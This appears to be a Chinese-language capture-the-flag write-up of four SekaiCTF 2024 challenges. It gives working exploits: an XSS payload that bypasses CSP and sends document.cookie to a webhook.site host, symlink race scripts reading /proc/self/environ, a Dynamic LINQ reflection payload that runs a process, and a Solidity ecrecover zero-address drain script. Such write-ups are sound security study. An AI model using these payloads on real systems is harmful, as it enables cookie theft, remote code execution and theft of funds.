SekaiCTF2024复现
LastUpdate: 2024-09-14
WEB | Tagless
题目需要绕过CSP策略利用XSS窃取bot的cookie,由于 script-src self 不包含 unsafe-inline 需要加载同源 js 文件。
app = Flask(__name__, static_folder='static')
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
404页面会返回可控内容,通过 404 页面构造 js 文件并加载。
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
EXP:
<script src='/**/alert(1)//'></script>
http://127.0.0.1:5000/<script src='/**/fetch(`https://webhook.site/id`,{method:`post`,body:`${document.cookie}`})//'></script>
WEB | funny-lfr
题目展示了一个有趣的Starlette FileResponse bug,允许选手使用 ssh 登录靶机与starlette服务交互,flag在服务用户的环境变量中。
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse
async def download(request):
return FileResponse(request.query_params.get("file"))
app = Starlette(routes=[Route("/", endpoint=download)])
我们尝试读取 /etc/passwd 成功,但是读取 /proc/self/environ 就不会返回内容。
user@02cd7ed65cbe:/$ curl 127.0.0.1:1337/?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
......
user@02cd7ed65cbe:/$ curl 127.0.0.1:1337/?file=/proc/self/environ
查看 FileResponse 的实现 starlette/responses.py 发现它会调用 stat 命令获取文件大小来设置content-length,而 /proc 中的进程信息是读取时动态生成的并非静态文件,所以调用后content-length为0返回内容为空。
def set_stat_headers(self, stat_result: os.stat_result) -> None:
content_length = str(stat_result.st_size)
last_modified = formatdate(stat_result.st_mtime, usegmt=True)
etag_base = str(stat_result.st_mtime) + "-" + str(stat_result.st_size)
etag = f'"{md5_hexdigest(etag_base.encode(), usedforsecurity=False)}"'
self.headers.setdefault("content-length", content_length)
self.headers.setdefault("last-modified", last_modified)
self.headers.setdefault("etag", etag)
可以通过条件竞争解决这个问题,让一个软链接来回指向/etc/passwd和/proc/self/environ,如果刚好在调用stat时指向/etc/passwd之后在读取时指向/proc/self/environ就能成功读取环境变量中的flag。
EXP:
#!/bin/bash
while true
do
ln -sf /etc/passwd /home/user/fileln
ln -sf /proc/self/environ /home/user/fileln
done
#!/bin/bash
while true; do
response=$(curl http://127.0.0.1:1337/?file=/home/user/fileln)
if [[ "$response" == *"PATH"* ]]; then
echo "$response"
break
fi
done
WEB | Intruder
.NET实现的图书信息后台,存在搜索和添加图书的 api,使用 ilspy 反编译后查看源码发现 LINQ 注入点。
public IActionResult Index(string searchString, int page = 1, int pageSize = 5)
{
try
{
IQueryable<Book> source = _books.AsQueryable();
if (!string.IsNullOrEmpty(searchString))
{
// 执行linq查询时没经过转义而是直接拼接字符串
source = source.Where("Title.Contains(\"" + searchString + "\")");
}
int num = source.Count();
int totalPages = (int)Math.Ceiling((double)num / (double)pageSize);
List<Book> books = source.Skip((page - 1) * pageSize).Take(pageSize).ToList();
BookPaginationModel model = new BookPaginationModel
{
Books = books,
TotalPages = totalPages,
CurrentPage = page
};
return View(model);
}
catch (Exception)
{
base.TempData["Error"] = "Something wrong happened while searching!";
return Redirect("/books");
}
}
Linq 允许执行方法,利用反射绕过类型白名单获取 System.Diagnostics.Process 并执行命令。
EXP:
a") AND "".GetType().Assembly.DefinedTypes.Where(it.Name = "AppDomain").First().DeclaredMethods.Where(it.Name = "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.W here(it.Name = "AppDomain").First().DeclaredProperties.Where(it.name = "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.Defin edTypes.Where(it.Name = "Process").First().DeclaredMethods.Where(it.name = "Start").Take(3).Last().Invoke(null, "/usr/bin/cat;/flag".Split(";".ToCharArray())).GetType().ToString() = "a" AND "1"=("1
- 调用 System.AppDomain 的 CreateInstanceAndUnwrap 获取 Process 类的引用,由于白名单限制利用 Split(";".ToCharArray()) 的方式创建数组作为参数。
- 调用 Process 的 Start 方法执行cat /flag
BlockChain | PlayToEarn
初始化向 coin 合约转移了20 ether,其中 owner 拥有 1 ether,其余19 ether记录到了0地址上,要求 player 至少获得 13.37 ether 才能拿到 flag。
contract Setup {
Coin public coin;
ArcadeMachine public arcadeMachine;
address public player;
constructor() payable {
coin = new Coin();
arcadeMachine = new ArcadeMachine(coin);
// Assume that many people have played before you ;)
require(msg.value == 20 ether);
coin.deposit{value: 20 ether}();
coin.approve(address(arcadeMachine), 19 ether);
arcadeMachine.play(19);
}
function register() external {
require(player == address(0));
player = msg.sender;
coin.transfer(msg.sender, 1337); // free coins for new players :)
}
function isSolved() external view returns (bool) {
return player != address(0) && player.balance >= 13.37 ether;
}
}
function play(uint256 times) external {
// burn the coins
require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
// Have fun XD
}
Coin 合约和 ERC-20 相比主要加了 privilegedWithdraw 和 permit 函数,分别用于 owner 提取0地址余额和通过签名来授权代币。
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract Coin is Ownable, EIP712 {
function privilegedWithdraw() onlyOwner external {
uint wad = balanceOf[address(0)];
balanceOf[address(0)] = 0;
payable(msg.sender).transfer(wad);
emit PrivilegedWithdrawal(msg.sender, wad);
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(block.timestamp <= deadline, "signature expired");
bytes32 structHash = keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
);
bytes32 h = _hashTypedDataV4(structHash);
address signer = ecrecover(h, v, r, s);
require(signer == owner, "invalid signer");
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
由于 ecrecover 恢复失败会返回0地址,所以就导致了我们可以利用签名把0地址的余额转移到 player 账户完成挑战。
EXP:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "forge-std/Script.sol";
import { Coin } from "../src/Coin.sol";
import { Setup } from "../src/Setup.sol";
import { ArcadeMachine } from "../src/ArcadeMachine.sol";
contract SolveScript is Script {
// 设置合约地址和player用户
address setupAddress = 0x00E99485db1BB3E530b72eAAAAb0cC47f5c74104;
address player = 0x29114a46B8806eB24f81A7f1AD259Cd6b4E7Db49;
uint256 privateKey = vm.envUint("PRIVATE_KEY");
// 初始化合约
Setup setup = Setup(setupAddress);
Coin coin = setup.coin();
ArcadeMachine arcadeMachine = setup.arcadeMachine();
// 执行脚本
function run() external {
vm.startBroadcast(privateKey);
setup.register();
coin.permit(address(0), player, type(uint256).max, type(uint256).max, 0, 0, 0);
coin.transferFrom(address(0),player,coin.balanceOf(address(0)));
coin.withdraw(coin.balanceOf(player));
vm.stopBroadcast();
console.log("balance: ",player.balance);
console.log("isSolved: ", setup.isSolved());
}
}
forge script solve/solve.s.sol:SolveScript --rpc-url https://play-to-earn.chals.sekai.team/5e6ae4ff-f298-400b-9bcb-74e54206115a --broadcast